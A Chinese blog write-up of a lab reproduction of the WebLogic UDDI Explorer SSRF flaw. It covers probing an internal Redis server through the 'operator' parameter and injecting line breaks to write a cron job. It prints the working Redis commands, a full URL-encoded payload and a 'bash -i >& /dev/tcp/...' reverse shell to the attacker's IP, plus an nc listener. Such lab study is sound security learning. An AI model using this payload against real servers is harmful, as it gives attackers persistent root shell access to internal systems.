大家好,又见面了,我是你们的朋友全栈君。
这两天了解的ssrf复现这个漏洞差不多了,开始进行笔迹整理:
上面一篇介绍的就是些入门的基础,让你可以更加好的去理解,更好的懂ssrf这个漏洞的原理。
SSRF(server-side request forgery ):服务器端请求伪造。是一种由攻击者构造形成由服务器端发起请求的一个安全漏洞,一般情况下,ssrf攻击的目标是从外网无法访问的内部系统(正是因为他是有服务器端发起的,所以他能够请求到与他相连而与外网隔离的内部系统)
解释一下:这里攻击的目标就是外网无法访问的内部系统,这里主要是通过redis服务来进行攻击的,通过这个向其写入攻击脚本,在自动运行crontab定时任务是执行咱们想要的命令,这里就是想要实现就要想办法构造了
看到这里可能会有部分人不懂redis服务,以及crontab定时命令,在复现的过程中在讲解吧。
用户在地址栏输入网址 –> 向目标网站发送请求 –> 目标网站接受请求并在服务器端验证请求是否合法,然后返回用户所需要的页面 –>用户接收页面并在浏览器中显示
SSRF漏洞出现在目标网站接受请求后在服务器端验证请求是否合法这一步中,是由于服务器端没有对用户请求做出严格的过滤以及限制,导致其可以从其他服务器获取一定量的数据。SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有发现在这个请求是合法的,然后服务器以他的身份来访问其他服务器的资源。(使用file://协议读取本地文件)
Weblogic中的这个环境就有点类似这个样子的,就是由于访问目标网站是的参数是url 这时就有可能存在ssrf漏洞,恰好在服务端验证请求时没有对用户请求做出严格的过滤以及限制,导致其可以获取服务器的一定量的数据,并可以实现篡改获取的资源并请求发送给服务器,这里就是篡改了 /etc/crontab下的信息,将反弹shell脚本写入了该目录下,是通过获取服务器的redis服务,通过6379 这个端口实现的。
这个环境我是通过虚拟机里搭建docker一个weblogic中的ssrf漏洞:
通过docker-compose up -d
来启动环境,根据作者的说明文件中按其步骤进行复现:访问:
SSRF漏洞存在于`http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp`
咱们仔细查看发现这里有参数传入的是url,差不多可以断定就是在这个点存在ssrf漏洞了。上面我也讲过了,ssrf漏洞存在的情况,这一种比较普遍,就是传入url,并且服务器端验证没有对用户做出严格的过滤。
接下俩就是抓包看一下:
就是这里可以进行端口探测,这里的参数operator我们是可控的,当我们输入不同值时可得到多种不同的报错,
端口存在返回状态码 returned a 404 error code 端口不存在 but could not connect over HTTP to server 非http协议: did not have a valid SOAP content-type 协议没写 no protocol
几种情况:
情况一:operator=172.20.0.2
报错:
表示没有此协议,因为一般都会加上http什么的而这里没有当然会这样报错。
情况二: operator=htt://172.20.0.2
报错:
表示没有此协议,说明写错了
情况三:operator=http://172.20.0.2:7001
报错:
这是端口不存在
情况四: operator=http://192.168.233.139:7001
报错:
表示端口存在,这里的ip呢是我虚拟机的ip。
情况五:operator=http://172.20.0.2:6379
报错:
表示这是非http协议。
有这个可以由此得到docker环境中地址172.20.0.1在端口运行redis服务
这样似乎就可以进行攻击了。
OK
有上面返回的状态码。通过错误的不同即可探测内网的状态首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现`172.20.0.2:6379`可以连通:,
注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入`%0a%0d`来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
作者的说明里是这样介绍的,虽然说我们可以将抓来的包将post修改为get,并发送get请求但是我用post发送也成功了(不解???)
不管了,接下来就是将弹shell脚本写入 /etc/crontab
“`
set 1 “\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.233.139/1234 0>&1\n\n\n\n”
config set dir /etc/
config set dbfilename crontab
save
“`
解释一下:
这里有三个命令分别为set 1 … config set 和config set
Set 1中这里的一就是可以理解为value这个属性吧。
其实在/etc/crontab这个目录下是一个默认自动执行的一些crontab定时服务命令,里面都写的是一些开启服务的命令。上面的截图也有讲解到,上面我也简单的介绍了crontab定时命令,以及其格式,他这个有六个字段域,可以理解为需要输入六个参数吧,分别为:
minute hour day month week command
其中:
minute: 表示分钟,可以是从0到59之间的任何整数。
hour:表示小时,可以是从0到23之间的任何整数。
day:表示日期,可以是从1到31之间的任何整数。
month:表示月份,可以是从1到12之间的任何整数。
week:表示星期几,可以是从0到7之间的任何整数,这里的0或7代表星期日。
command:要执行的命令,可以是系统命令,也可以是自己编写的脚本文件。
星号(*):代表所有可能的值,例如month字段如果是星号,则表示在满足其它字段的制约条件后每月都执行该命令操作(https://www.cnblogs.com/peida/archive/2013/01/08/2850483.html)
所以第一行就好理解了吧,就是想执行一个反弹shell,反弹到我ubuntu上(ip是我ubuntu的)。
第二行config set dir /etc/
这个也比较好理解的,就是建立一个工作目录
第三行config set dbfilename crontab
这个就差不多是创建一个RDB(我理解为redis database,我也不知道我自己想的)备份文件吧,文件名就是dbdilename 后面的crontab
看上面的截图我们知道,创建的工作路径我们知道,所有的RDB文件都会储存在、etc/crontab下。
你如果不知道redis,说真的很难理解,就连上面的RDB文件是啥你也不知道,其实吧。Redis是一个key-value型数据库,信息以键对应值的关系储存在内存中,而他算不上是一个真正的数据库,因为redis是主要把信息数据存储在内存中(当然也可以把其存储在硬盘上,这也是写shell的必要条件之一)
Redis将数据主要保存在内存中,我们可以随时执行`save`命令将当前的redis数据保存到硬盘上。另外redis也会根据配置自动存储数据到硬盘上,这不得不说到redis的持久化运作方案 http://redis.io/topics/persistence ,其中说到的一个RDB,一个AOF。RDB更像一个数据库备份文件,而AOF是一个log日志文件。我们可以设置让redis再指定时间、指定更改次数时进行备份,生成RDB文件;而设置AOF,可以在操作或时间过程后将“日志”写入一个文件的最末,当操作越来越多,则AOF文件越来越大。
二者是相辅相成的,通过二者的配合我们能够稳定地持久地将数据存储于服务器上。详细讲解(https://www.secpulse.com/archives/5357.html)
讲完这些在向上回顾下是不是就更好理解了。
接下来就是将payload进行url编码了。
为什么要进行编码呢?
因为redis命令是通过换行符来分隔每条命令的(这个可以自行搜索下redis 序列化协议 我也不太懂)
OK 进行编码注意换行符“\r\n”也就是“%0D%0A”
将其经url编码后放在ssrf的域名后面,发送:
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.233.140%2F1236%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
这就是payload放在http://172.20.0.2:6379/后面就可以了
在ubuntu里进行监听1236端口:nc -lvp 1236
等待片刻就会进行反弹:
OK,其实吧我们得到的是docker的shell,那么我们写入的shell脚本也在这个里面打开看一下便知:
果然在这里,我发现写入的就在这里面了,他会一直执行,当你监听别的端口时,你又可以重新发送写入,会进行跟新,会覆盖之前的。
基本的反弹shell就完成了。
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/152824.html原文链接:https://javaforall.cn